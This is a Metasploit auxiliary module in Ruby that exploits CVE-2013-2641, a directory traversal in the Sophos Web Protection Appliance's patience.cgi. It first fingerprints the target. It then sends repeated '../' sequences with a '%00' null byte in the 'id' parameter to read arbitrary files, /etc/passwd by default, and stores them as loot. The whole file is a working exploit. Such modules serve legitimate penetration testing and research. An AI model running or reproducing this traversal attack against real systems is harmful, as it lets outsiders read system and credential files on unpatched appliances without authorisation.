129 lines
3.4 KiB
Ruby
129 lines
3.4 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'uri'
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Report
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Sophos Web Protection Appliance patience.cgi Directory Traversal',
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'Description' => %q{
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This module abuses a directory traversal in Sophos Web Protection Appliance, specifically
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on the /cgi-bin/patience.cgi component. This module has been tested successfully on the
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Sophos Web Virtual Appliance v3.7.0.
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},
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'Author' =>
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[
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'Wolfgang Ettlingers', # Vulnerability discovery
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'juan vazquez' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2013-2641' ],
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[ 'OSVDB', '91953' ],
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[ 'BID', '58833' ],
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[ 'EDB', '24932' ],
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[ 'URL', 'http://www.sophos.com/en-us/support/knowledgebase/118969.aspx' ],
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[ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20130403-0_Sophos_Web_Protection_Appliance_Multiple_Vulnerabilities.txt' ]
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],
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'DefaultOptions' => {
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'SSL' => true
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},
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'DisclosureDate' => 'Apr 03 2013'))
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register_options(
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[
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Opt::RPORT(443),
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OptString.new('FILEPATH', [true, 'The name of the file to download', '/etc/passwd']),
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OptInt.new('DEPTH', [true, 'Traversal depth', 2])
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], self.class)
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end
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def my_basename(filename)
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return ::File.basename(filename.gsub(/\\/, "/"))
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end
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def is_proficy?
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res = send_request_cgi(
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{
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'uri' => "/cgi-bin/patience.cgi",
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'method' => 'GET'
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})
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if res and res.code == 307 and res.body =~ /The patience page request was not valid/
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return true
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else
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return false
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end
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end
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def read_file(file)
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travs = ""
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travs << "../" * datastore['DEPTH']
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travs << file
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travs << "%00"
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print_status("#{@peer} - Retrieving file contents...")
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res = send_request_cgi(
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{
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'uri' => "/cgi-bin/patience.cgi",
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'method' => 'GET',
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'encode_params' => false,
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'vars_get' => {
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'id' => travs
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}
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})
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if res and (res.code == 200 or res.code == 500) and res.headers['X-Sophos-PatienceID']
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return res.body
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else
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print_status("#{res.code}\n#{res.body}")
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return nil
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end
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end
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def run
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@peer = "#{rhost}:#{rport}"
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print_status("#{@peer} - Checking if it's a Sophos Web Protect Appliance with the vulnerable component...")
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if is_proficy?
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print_good("#{@peer} - Check successful")
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else
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print_error("#{@peer} - Sophos Web Protect Appliance vulnerable component not found")
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return
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end
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contents = read_file(datastore['FILEPATH'])
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if contents.nil?
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print_error("#{@peer} - File not downloaded")
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return
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end
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file_name = my_basename(datastore['FILEPATH'])
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path = store_loot(
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'sophos.wpa.traversal',
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'application/octet-stream',
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rhost,
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contents,
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file_name
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)
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print_good("#{rhost}:#{rport} - File saved in: #{path}")
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end
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end
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